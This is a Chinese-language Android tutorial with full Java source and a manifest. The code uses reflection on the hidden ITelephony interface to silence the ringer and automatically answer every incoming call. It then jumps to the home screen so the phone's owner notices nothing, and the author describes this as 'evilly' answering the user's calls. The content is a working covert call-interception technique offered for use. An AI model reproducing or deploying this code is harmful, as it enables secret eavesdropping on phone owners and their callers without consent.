Android 电话的反射调用机制实现静默接听电话

首先 建一个工程

insertTel

建一个com.android.internal.telephony的包

把系统的源码里的ITelephony.aidl拷贝进来

如下

ITelephony.aidl

    boolean hasIccCard();
}

然后建一个包

zy.phone

下面做反射调用

PhoneUtils.java

package zy.phone;  
  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import android.telephony.TelephonyManager;  
import android.util.Log;  
  
public class PhoneUtils {  
    /** 
     * 从TelephonyManager中实例化ITelephony，并返回 
     */  
    static public com.android.internal.telephony.ITelephony getITelephony(TelephonyManager telMgr) throws Exception {  
        Method getITelephonyMethod = telMgr.getClass().getDeclaredMethod("getITelephony");  
        getITelephonyMethod.setAccessible(true);//私有化函数也能使用  
        return (com.android.internal.telephony.ITelephony)getITelephonyMethod.invoke(telMgr);  
    }  
      
    static public void printAllInform(Class clsShow) {    
        try {    
            // 取得所有方法    
            Method[] hideMethod = clsShow.getDeclaredMethods();    
            int i = 0;    
            for (; i < hideMethod.length; i++) {    
                Log.e("method name", hideMethod[i].getName());    
            }    
            // 取得所有常量    
            Field[] allFields = clsShow.getFields();    
            for (i = 0; i < allFields.length; i++) {    
                Log.e("Field name", allFields[i].getName());    
            }    
        } catch (SecurityException e) {    
            // throw new RuntimeException(e.getMessage());    
            e.printStackTrace();    
        } catch (IllegalArgumentException e) {    
            // throw new RuntimeException(e.getMessage());    
            e.printStackTrace();    
        } catch (Exception e) {    
            // TODO Auto-generated catch block    
            e.printStackTrace();    
        }    
    }    
}  

然后用一个BroadcastReceiver监听电话

邪恶地用接电话接用户电话

tp.java

package zy.phone;
import java.util.Timer;
import java.util.TimerTask;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.RemoteException;
import android.telephony.TelephonyManager;
import android.util.Log;
public class tp extends BroadcastReceiver {
	Context mcontext;
	TimerTask task = new TimerTask() {
		public void run() {
			Intent i = new Intent(Intent.ACTION_MAIN);
			i.addCategory(Intent.CATEGORY_HOME);
			i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
			mcontext.startActivity(i);
			Log.i("bbb", "bbb");
		}
	};
	@Override
	public void onReceive(Context context, Intent intent) {
		// TODO Auto-generated method stub
		mcontext = context;
		TelephonyManager tm = (TelephonyManager) context
				.getSystemService(Service.TELEPHONY_SERVICE);
		switch (tm.getCallState()) {
		case TelephonyManager.CALL_STATE_RINGING:// 来电响铃
			try {
			//	String phoneNumber = intent.getStringExtra("incoming_number");
				
					PhoneUtils.getITelephony(tm).silenceRinger();// 静铃
					PhoneUtils.getITelephony(tm).answerRingingCall();// 自动接听
					Timer timer = new Timer();
					timer.schedule(task, 300);
				
			} catch (RemoteException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (Exception e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}// 挂断
			break;// 响铃
		case TelephonyManager.CALL_STATE_OFFHOOK: // 来电接通 去电拨出
			break;// 摘机
		case TelephonyManager.CALL_STATE_IDLE: // 来去电电话挂断
			break;// 挂机
		}
	}
}

这样就对所有电话都接了

然后主包就是一个什么都没有的测试Activity

包zy.test

test.java

package zy.test;
import android.app.Activity;
import android.os.Bundle;
public class test extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
    }
}

最后记得再AndroidManifest.xml里加上BroadcastReceiver和权限声明

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="zy.test"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".test"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
		<receiver android:name="zy.phone.tp"  android:priority="10000" android:permission="android.permission.READ_PHONE_STATE">
			<intent-filter>
				<action android:name="android.intent.action.PHONE_STATE" />
			</intent-filter>
		</receiver>
		
	</application>
	 <uses-sdk android:minSdkVersion="3" />
	
	<uses-permission android:name="android.permission.INTERNET"/>
	<uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />  
    
</manifest> 

OK 大功告成

试试现在电话都将被接听，没有反应
